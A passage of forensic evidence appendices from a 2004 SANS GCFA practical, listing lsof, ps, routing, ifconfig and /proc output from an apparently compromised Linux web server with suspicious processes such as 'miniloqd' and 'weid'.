<td>3,2</td>
<td>29</td>
<td>/usr/local/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>65</td>
<td>/usr/local/en_US.iso885915/LC_TELEPHONE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>8261</td>
<td>/usr/local/en_US.iso885915/LC_ADDRESS</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>83</td>
<td>/usr/local/en_US.iso885915/LC_NAME</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>40</td>
<td>/usr/local/en_US.iso885915/LC_PAPER</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>58</td>
<td>/usr/local/en_US.iso885915/LC_MESSAGES</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>292</td>
<td>/usr/local/en_US.iso885915/LC_MONETARY</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>22592</td>
<td>/usr/local/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,5</td>
<td>89424</td>
<td>/lib/libnsl-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>1561021</td>
<td>/usr/lib/apache/libphp4.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,5</td>
<td>35340</td>
<td>/lib/libpam.so.0.75</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>28138</td>
<td>/usr/lib/libltdl.so.3.1.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>426442</td>
<td>/usr/lib/libstdc++-3.3-2.1.0.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>131560</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>59778</td>
<td>/usr/lib/libz.so.1.1.3</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>146819</td>
<td>/usr/lib/libcurl.so.2.0.2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,5</td>
<td>924879</td>
<td>/lib/libcrypto.so.0.9.6b</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,5</td>
<td>207008</td>
<td>/lib/libssl.so.0.9.6</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>68925</td>
<td>/usr/lib/libresolv-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>153026</td>
<td>/usr/lib/libcups.so.4.0.3</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>290511</td>
<td>/usr/lib/libcurses.so.5.2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>215482</td>
<td>/usr/lib/libgmp.so.3.2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>196866</td>
<td>/usr/lib/libgd.so.1.8.4</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>717774</td>
<td>/usr/lib/libgmp-ctools-2.2.10.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>66646</td>
<td>/usr/lib/libh262.so.1.0.2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>189626</td>
<td>/usr/lib/libttf.so.2.3</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>295833</td>
<td>/usr/lib/libfreetype.so.6.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>140418</td>
<td>/usr/lib/libjpeg.so.62.0.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>79725</td>
<td>/usr/kerberos/lib/libk5crypto.so.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>42069</td>
<td>/usr/lib/php/lidap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>44992</td>
<td>/usr/lib/libber.so.2.0.15</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>45415</td>
<td>/lib/libms_file-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>2457</td>
<td>/usr/local/en_US.iso885915/LC_TIME</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>60</td>
<td>/usr/local/en_US.iso885915/LC_NUMERIC</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>173680</td>
<td>/usr/local/en_US.iso885915/LC_TYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>1264225</td>
<td>/usr/lib/apache/libperl.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>427611</td>
<td>/usr/lib/kernfs/lib/libkbr5.so.3.1</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>191615</td>
<td>/usr/lib/libdap.so.2.0.18</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>48583</td>
<td>/usr/lib/libssl.so.7.1.8</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,5</td>
<td>46117</td>
<td>/lib/libnss_nssplus-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,5</td>
<td>1401027</td>
<td>/lib/libc.so.1.8/2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>0r CHR</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>1w CHR</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>2w REG</td>
<td>3,6</td>
<td>1729</td>
<td>/var/log/httpd/error_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>3u REG</td>
<td>3,6</td>
<td>0</td>
<td>/var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>4u REG</td>
<td>3,5</td>
<td>0</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>5u REG</td>
<td>3,5</td>
<td>8192</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>15w REG</td>
<td>3,6</td>
<td>1729</td>
<td>/var/log/httpd/error_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>16u IPv4</td>
<td>361623</td>
<td>TCP :https</td>
<td>LISTEN</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>17u IPv4</td>
<td>361624</td>
<td>TCP :http</td>
<td>LISTEN</td>
</tr>
</tbody>
</table>

Compiled by Kevin Miller for the GIAC practical repository.
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Type</th>
<th>Mode</th>
<th>Uid</th>
<th>Gid</th>
<th>Size</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>19376</td>
<td>root</td>
<td>18w</td>
<td>3,6</td>
<td>265</td>
<td>44201</td>
<td>/var/log/httpd/access_log</td>
</tr>
<tr>
<td>httpd</td>
<td>19376</td>
<td>root</td>
<td>19w</td>
<td>3,6</td>
<td>0</td>
<td>44198</td>
<td>/var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>miniloqd</td>
<td>19365</td>
<td>root</td>
<td>cwd</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/etc/security/miniloqd</td>
</tr>
<tr>
<td>miniloqd</td>
<td>19365</td>
<td>root</td>
<td>rtd</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/etc/security/miniloqd</td>
</tr>
<tr>
<td>miniloqd</td>
<td>19365</td>
<td>root</td>
<td>txt</td>
<td>3,5</td>
<td>8896</td>
<td>71809</td>
<td>/sbin/miniloqd</td>
</tr>
<tr>
<td>miniloqd</td>
<td>19365</td>
<td>root</td>
<td>mem</td>
<td>3,5</td>
<td>89547</td>
<td>63490</td>
<td>/lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>miniloqd</td>
<td>19365</td>
<td>root</td>
<td>mem</td>
<td>3,5</td>
<td>1401027</td>
<td>73730</td>
<td>/lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>miniloqd</td>
<td>19365</td>
<td>root</td>
<td>0u</td>
<td>1,3</td>
<td>9637</td>
<td>73730</td>
<td>/dev/null</td>
</tr>
<tr>
<td>miniloqd</td>
<td>19365</td>
<td>root</td>
<td>1u</td>
<td>1,3</td>
<td>9637</td>
<td>73730</td>
<td>/dev/null</td>
</tr>
<tr>
<td>miniloqd</td>
<td>19365</td>
<td>root</td>
<td>2u</td>
<td>1,3</td>
<td>9637</td>
<td>73730</td>
<td>/dev/null</td>
</tr>
<tr>
<td>miniloqd</td>
<td>19365</td>
<td>root</td>
<td>3u</td>
<td>3,6</td>
<td>0</td>
<td>38183</td>
<td>/var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>miniloqd</td>
<td>19365</td>
<td>root</td>
<td>4u</td>
<td>3,5</td>
<td>0</td>
<td>26691</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>miniloqd</td>
<td>19365</td>
<td>root</td>
<td>5u</td>
<td>3,5</td>
<td>8192</td>
<td>26693</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>miniloqd</td>
<td>19365</td>
<td>root</td>
<td>7u</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
</tr>
<tr>
<td>miniloqd</td>
<td>19365</td>
<td>root</td>
<td>8u</td>
<td>0</td>
<td>44198</td>
<td>/var/log/httpd/ssl_request_log</td>
<td></td>
</tr>
<tr>
<td>weid</td>
<td>19678</td>
<td>root</td>
<td>cwd</td>
<td>3,5</td>
<td>1024</td>
<td>40961</td>
<td>/bin</td>
</tr>
<tr>
<td>weid</td>
<td>19678</td>
<td>root</td>
<td>rtd</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/etc/security/miniloqd</td>
</tr>
<tr>
<td>weid</td>
<td>19678</td>
<td>root</td>
<td>txt</td>
<td>3,5</td>
<td>20914</td>
<td>34503</td>
<td>/usr/bin/weid</td>
</tr>
<tr>
<td>weid</td>
<td>19678</td>
<td>root</td>
<td>mem</td>
<td>3,5</td>
<td>89547</td>
<td>63490</td>
<td>/lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>weid</td>
<td>19678</td>
<td>root</td>
<td>mem</td>
<td>3,5</td>
<td>1401027</td>
<td>73730</td>
<td>/lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>weid</td>
<td>19678</td>
<td>root</td>
<td>0u</td>
<td>0</td>
<td>0</td>
<td>550563</td>
<td>can't identify protocol</td>
</tr>
<tr>
<td>weid</td>
<td>19678</td>
<td>root</td>
<td>1u</td>
<td>0</td>
<td>0</td>
<td>550563</td>
<td>can't identify protocol</td>
</tr>
<tr>
<td>weid</td>
<td>19678</td>
<td>root</td>
<td>2u</td>
<td>0</td>
<td>0</td>
<td>550563</td>
<td>can't identify protocol</td>
</tr>
<tr>
<td>weid</td>
<td>19678</td>
<td>root</td>
<td>3u</td>
<td>3,6</td>
<td>0</td>
<td>38183</td>
<td>/var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>weid</td>
<td>19678</td>
<td>root</td>
<td>4u</td>
<td>3,5</td>
<td>0</td>
<td>26691</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>weid</td>
<td>19678</td>
<td>root</td>
<td>5u</td>
<td>3,5</td>
<td>8192</td>
<td>26693</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>weid</td>
<td>19678</td>
<td>root</td>
<td>7u</td>
<td>0</td>
<td>0</td>
<td>550563</td>
<td>can't identify protocol</td>
</tr>
<tr>
<td>weid</td>
<td>19678</td>
<td>root</td>
<td>8u</td>
<td>0</td>
<td>0</td>
<td>550563</td>
<td>can't identify protocol</td>
</tr>
<tr>
<td>weid</td>
<td>19678</td>
<td>root</td>
<td>9u</td>
<td>0</td>
<td>0</td>
<td>550563</td>
<td>can't identify protocol</td>
</tr>
<tr>
<td>weid</td>
<td>19678</td>
<td>root</td>
<td>15w</td>
<td>3,6</td>
<td>265</td>
<td>44201</td>
<td>/var/log/httpd/access_log</td>
</tr>
<tr>
<td>weid</td>
<td>19678</td>
<td>root</td>
<td>16u</td>
<td>3,6</td>
<td>0</td>
<td>44198</td>
<td>/var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>chmod</td>
<td>19365</td>
<td>root</td>
<td>cwd</td>
<td>3,5</td>
<td>1024</td>
<td>53319</td>
<td>/tmp/z</td>
</tr>
<tr>
<td>chmod</td>
<td>19365</td>
<td>root</td>
<td>rtd</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/etc/security/miniloqd</td>
</tr>
<tr>
<td>chmod</td>
<td>19365</td>
<td>root</td>
<td>txt</td>
<td>3,5</td>
<td>36415</td>
<td>55345</td>
<td>/x/chmod</td>
</tr>
<tr>
<td>chmod</td>
<td>19365</td>
<td>root</td>
<td>0u</td>
<td>0</td>
<td>0</td>
<td>550563</td>
<td>can't identify protocol</td>
</tr>
<tr>
<td>chmod</td>
<td>19365</td>
<td>root</td>
<td>1w</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
</tr>
<tr>
<td>chmod</td>
<td>19365</td>
<td>root</td>
<td>2w</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
</tr>
<tr>
<td>chmod</td>
<td>19365</td>
<td>root</td>
<td>3u</td>
<td>3,6</td>
<td>0</td>
<td>38183</td>
<td>/var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>chmod</td>
<td>19365</td>
<td>root</td>
<td>4u</td>
<td>3,5</td>
<td>0</td>
<td>26691</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>chmod</td>
<td>19365</td>
<td>root</td>
<td>5u</td>
<td>3,5</td>
<td>8192</td>
<td>26693</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>chmod</td>
<td>19365</td>
<td>root</td>
<td>6u</td>
<td>0</td>
<td>0</td>
<td>550563</td>
<td>can't identify protocol</td>
</tr>
<tr>
<td>chmod</td>
<td>19365</td>
<td>root</td>
<td>7r</td>
<td>0</td>
<td>0</td>
<td>550563</td>
<td>can't identify protocol</td>
</tr>
<tr>
<td>chmod</td>
<td>19365</td>
<td>root</td>
<td>8r</td>
<td>0</td>
<td>0</td>
<td>550563</td>
<td>can't identify protocol</td>
</tr>
<tr>
<td>chmod</td>
<td>19365</td>
<td>root</td>
<td>9u</td>
<td>0</td>
<td>0</td>
<td>550563</td>
<td>can't identify protocol</td>
</tr>
<tr>
<td>chmod</td>
<td>19365</td>
<td>root</td>
<td>15w</td>
<td>3,6</td>
<td>265</td>
<td>44201</td>
<td>/var/log/httpd/access_log</td>
</tr>
<tr>
<td>chmod</td>
<td>19365</td>
<td>root</td>
<td>16u</td>
<td>3,6</td>
<td>0</td>
<td>44198</td>
<td>/var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>chmod</td>
<td>19365</td>
<td>root</td>
<td>17u</td>
<td>3,6</td>
<td>0</td>
<td>44198</td>
<td>/var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>chmod</td>
<td>19365</td>
<td>root</td>
<td>18w</td>
<td>3,6</td>
<td>265</td>
<td>44201</td>
<td>/var/log/httpd/access_log</td>
</tr>
<tr>
<td>chmod</td>
<td>19365</td>
<td>root</td>
<td>19w</td>
<td>3,6</td>
<td>0</td>
<td>44198</td>
<td>/var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>chmod</td>
<td>19365</td>
<td>root</td>
<td>20w</td>
<td>3,6</td>
<td>0</td>
<td>44198</td>
<td>/var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>chmod</td>
<td>19365</td>
<td>root</td>
<td>21w</td>
<td>3,6</td>
<td>0</td>
<td>44198</td>
<td>/var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>chmod</td>
<td>19365</td>
<td>root</td>
<td>22w</td>
<td>3,6</td>
<td>0</td>
<td>44198</td>
<td>/var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>chmod</td>
<td>19365</td>
<td>root</td>
<td>23w</td>
<td>3,6</td>
<td>0</td>
<td>44198</td>
<td>/var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>chmod</td>
<td>19365</td>
<td>root</td>
<td>24w</td>
<td>3,6</td>
<td>0</td>
<td>44198</td>
<td>/var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>chmod</td>
<td>19365</td>
<td>root</td>
<td>25w</td>
<td>3,6</td>
<td>0</td>
<td>44198</td>
<td>/var/log/httpd/ssl_request_log</td>
</tr>
</tbody>
</table>
Kevin Miller - Sans GCFA Assignment – v1.4

root 935 0.0 0.3 1400 384 ? S Jun23 0:00 gpm -t ps/2 -m /dev/mouse
root 953 0.0 0.4 1536 560 ? S Jun23 0:00 cron
xfs 1005 0.0 1.2 7584 1568 ? S Jun23 0:03 xfs -droppriv -daemon
daemon 1041 0.0 0.3 1404 468 ? S Jun23 0:00 /usr/sbin/atd
root 1050 0.0 0.2 1344 336 tty1 S Jun23 0:00 /sbin/minigetty tty1
root 1051 0.0 0.2 1344 336 tty2 S Jun23 0:00 /sbin/minigetty tty2
root 1052 0.0 0.2 1344 336 tty3 S Jun23 0:00 /sbin/minigetty tty3
root 1053 0.0 0.2 1344 336 tty4 S Jun23 0:00 /sbin/minigetty tty4
root 1054 0.0 0.2 1344 336 tty5 S Jun23 0:00 /sbin/minigetty tty5
root 1055 0.0 0.2 1344 336 tty6 S Jun23 0:00 /sbin/minigetty tty6
root 1056 0.0 0.3 2404 396 ? S Jun23 0:00 /usr/bin/kdm -nodaemon
root 1066 6.4 5.9 26820 7532 ? S Jun23 6:17:47 /usr/X11R6/bin/X -auth /var/run/xauth/A0-5kF8Kz
root 1067 0.0 0.5 3272 668 ? S Jun23 0:00 -10
user1 1091 0.0 0.7 2240 892 ? S Jun23 0:00 /bin/sh /usr/bin/startkde
user1 1175 0.0 1.3 19460 1700 ? S Jun23 0:00 kdeinit: Running...
user1 1178 0.0 1.5 19420 1952 ? S Jun23 0:00 kdeinit: dcopyserver --nosid
user1 1381 0.0 2.0 20376 2560 ? S Jun23 0:00 kdeinit: klauncher
user1 1883 0.0 2.0 21124 2624 ? S Jun23 0:00 kdeinit: kded
user1 1192 0.0 0.7 6148 992 ? S Jun23 0:02 /usr/bin/artsd -F 10 -S 4096 -s 60 -m
artmessage -I 3 --
user1 1203 0.0 2.0 23220 2640 ? S Jun23 0:03 kdeinit: knotify
user1 1208 0.0 0.2 1416 268 ? S Jun23 0:00 kwrapper kmsserver --restore
user1 1210 0.0 1.9 20420 2484 ? S Jun23 0:00 kdeinit: kmsserver --restore
user1 1211 0.0 3.0 21696 3916 ? S Jun23 0:09 kdeinit: kwin -session
user1 1217 0.0 4.5 24360 5820 ? S Jun23 0:19 kdeinit: kicker
cdplayer=/usr/bin/kscd
user1 1223 0.0 2.2 21124 2860 ? S Jun23 0:51 kdeinit: klipper -icon klipper -
minicon konsole
user1 1226 0.0 1.9 21112 2528 ? S Jun23 0:00 kdeinit: kwired
user1 1228 0.0 1.9 20416 2512 ? S Jun23 0:00 korgac --minicon korganizer
user1 1230 0.0 1.7 20184 2208 ? S Jun23 0:00 kalarmed --login
user1 1232 0.0 2.9 23400 3688 ? S Jun23 5:05 kdeinit: konsole -icon konsole -
minicon konsole
user1 1234 0.0 0.7 2520 980 pts/s/1 S Jun23 0:00 /bin/bash
root 1266 0.0 0.5 2332 656 pts/s/1 S Jun23 0:00 su -
root 1269 0.0 0.7 2448 980 pts/s/1 S Jun23 0:00 bash
user1 1633 0.0 2.1 20968 2688 ? S Jun26 0:00 kdeinit: kookiejar
user1 6135 0.0 0.9 13656 1256 ? S Jun26 0:00 kdesud
user1 7168 0.0 3.5 22800 4528 ? S Jun27 0:13 kdeinit: konsole -icon konsole -
minicon konsole
user1 7170 0.0 0.7 2520 980 pts/s/2 S Jun27 0:00 /bin/bash
root 7203 0.0 0.5 2332 656 pts/s/2 S Jun27 0:00 su -
root 7206 0.0 0.8 2464 1120 pts/s/2 S Jun27 0:00 bash
root 8125 0.0 0.9 79664 1200 ? S Jun27 0:01 /usr/sbin/httpd -DAVE_ACCESS -
DAVE_PROXY -DAVE_AUTH_ANON -DAVE_AC
root 8154 0.0 0.6 992 776 ? S Jun27 0:00 /usr/sbin/nmmd -s -l /dev/null -P
/var/run/nmmpd -a
apache 1006 0.0 1.0 79844 1340 ? S Jun29 0:00 /usr/sbin/httpd -DAVE_ACCESS -
DAVE_PROXY -DAVE_AUTH_ANON -DAVE_AC
apache 1007 0.0 0.9 79824 1244 ? S Jun29 0:00 /usr/sbin/httpd -DAVE_ACCESS -
DAVE_PROXY -DAVE_AUTH_ANON -DAVE_AC
apache 1008 0.0 0.9 79824 1260 ? S Jun29 0:00 /usr/sbin/httpd -DAVE_ACCESS -
DAVE_PROXY -DAVE_AUTH_ANON -DAVE_AC
apache 1009 0.0 0.9 79824 1244 ? S Jun29 0:00 /usr/sbin/httpd -DAVE_ACCESS -
DAVE_PROXY -DAVE_AUTH_ANON -DAVE_AC
apache 1010 0.0 0.9 79824 1260 ? S Jun29 0:00 /usr/sbin/httpd -DAVE_ACCESS -
DAVE_PROXY -DAVE_AUTH_ANON -DAVE_AC
apache 1011 0.0 0.9 79824 1244 ? S Jun29 0:00 /usr/sbin/httpd -DAVE_ACCESS -
DAVE_PROXY -DAVE_AUTH_ANON -DAVE_AC
apache 1012 0.0 0.9 79824 1244 ? S Jun29 0:00 /usr/sbin/httpd -DAVE_ACCESS -
DAVE_PROXY -DAVE_AUTH_ANON -DAVE_AC
apache 1013 0.0 0.9 79824 1244 ? S Jun29 0:00 /usr/sbin/httpd -DAVE_ACCESS -
DAVE_PROXY -DAVE_AUTH_ANON -DAVE_AC
apache 1365 0.0 0.9 79824 1256 ? S Jun29 0:00 /usr/sbin/httpd -DAVE_ACCESS -
DAVE_PROXY -DAVE_AUTH_ANON -DAVE_AC
apache 1936 0.0 0.9 79824 1248 ? S Jun29 0:00 /usr/sbin/httpd -DAVE_ACCESS -
DAVE_PROXY -DAVE_AUTH_ANON -DAVE_AC

**netstat-routes.txt**

### Kernel IP routing table

<table>
<thead>
<tr>
<th>Destination</th>
<th>Gateway</th>
<th>Genmask</th>
<th>Flags</th>
<th>MSS Window</th>
<th>itt</th>
<th>Iface</th>
</tr>
</thead>
<tbody>
<tr>
<td>192.168.2.0</td>
<td>0.0.0.0</td>
<td>255.255.255.0</td>
<td>U</td>
<td>40 0</td>
<td>0</td>
<td>eth0</td>
</tr>
<tr>
<td>127.0.0.0</td>
<td>0.0.0.0</td>
<td>255.0.0.0</td>
<td>U</td>
<td>40 0</td>
<td>0</td>
<td>lo</td>
</tr>
<tr>
<td>0.0.0.0</td>
<td>192.168.2.1</td>
<td>0.0.0.0</td>
<td>UG</td>
<td>40 0</td>
<td>0</td>
<td>eth0</td>
</tr>
</tbody>
</table>

**ifconfig.txt**

### eth0

- Link encap:Ethernet  HWaddr 00:50:8B:0D:50:56
- inet addr:192.168.2.15  Bcast:192.168.2.255  Mask:255.255.255.0  UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
- RX packets:56788  errors:0 dropped:0 overruns:0 frame:1
- TX packets:94732  errors:0 dropped:0 overruns:0 carrier:0
- collisions:3023 txqueuelen:100
- RX bytes:11574349 (11.0 Mb)  TX bytes:15015679 (14.3 Mb)
- Interrupt:11 Base address:0x1000

### eth1

- Link encap:Ethernet  HWaddr 00:90:27:89:8E:64
- BROADCAST MULTICAST  MTU:1500 Metric:1
- RX packets:0 errors:0 dropped:0 overruns:0 frame:0
- TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
- collisions:0 txqueuelen:100
- RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)
- Interrupt:11 Base address:0x3000

### lo

- Link encap:Local Loopback
- inet addr:127.0.0.1  Mask:255.0.0.0  UP LOOPBACK RUNNING MTU:16436 Metric:1
- RX packets:353  errors:0 dropped:0 overruns:0 frame:0
- TX packets:353  errors:0 dropped:0 overruns:0 carrier:0
- collisions:0 txqueuelen:0
- RX bytes:44009 (42.9 Kb)  TX bytes:44009 (42.9 Kb)

**Proc-filesystem.txt**

```
total 1
dr-xr-xr-x 130 root root 0 Jun 23 05:58 .
drwxr-xr-x 20 root root 1024 Jun 29 15:22 ..
```

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
<table>
<thead>
<tr>
<th>Mode</th>
<th>User</th>
<th>Group</th>
<th>Size</th>
<th>Date/Time</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>dr-xr-xr-</td>
<td>3 root root</td>
<td>0 Jun 30 17:29</td>
<td>28979</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 useridl useridl</td>
<td>0 Jun 30 17:29</td>
<td>28981</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 useridl useridl</td>
<td>0 Jun 30 17:29</td>
<td>28983</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 root useridl</td>
<td>0 Jun 30 17:29</td>
<td>29021</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 root root</td>
<td>0 Jun 30 17:29</td>
<td>29024</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 useridl useridl</td>
<td>0 Jun 30 17:29</td>
<td>29110</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 useridl useridl</td>
<td>0 Jun 30 17:29</td>
<td>29120</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 useridl useridl</td>
<td>0 Jun 30 17:29</td>
<td>29122</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 useridl useridl</td>
<td>0 Jun 30 17:29</td>
<td>29124</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 useridl useridl</td>
<td>0 Jun 30 17:29</td>
<td>29125</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 useridl useridl</td>
<td>0 Jun 30 17:29</td>
<td>29129</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 useridl useridl</td>
<td>0 Jun 30 17:29</td>
<td>29132</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 useridl useridl</td>
<td>0 Jun 30 17:29</td>
<td>29133</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 useridl useridl</td>
<td>0 Jun 30 17:29</td>
<td>29134</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 root root</td>
<td>0 Jun 30 17:29</td>
<td>29136</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 root root</td>
<td>0 Jun 30 17:29</td>
<td>29137</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 root root</td>
<td>0 Jun 30 17:29</td>
<td>29165</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 root root</td>
<td>0 Jun 30 17:29</td>
<td>29222</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 root root</td>
<td>0 Jun 30 17:29</td>
<td>29223</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 root root</td>
<td>0 Jun 30 17:29</td>
<td>3</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 root root</td>
<td>0 Jun 30 17:29</td>
<td>4</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
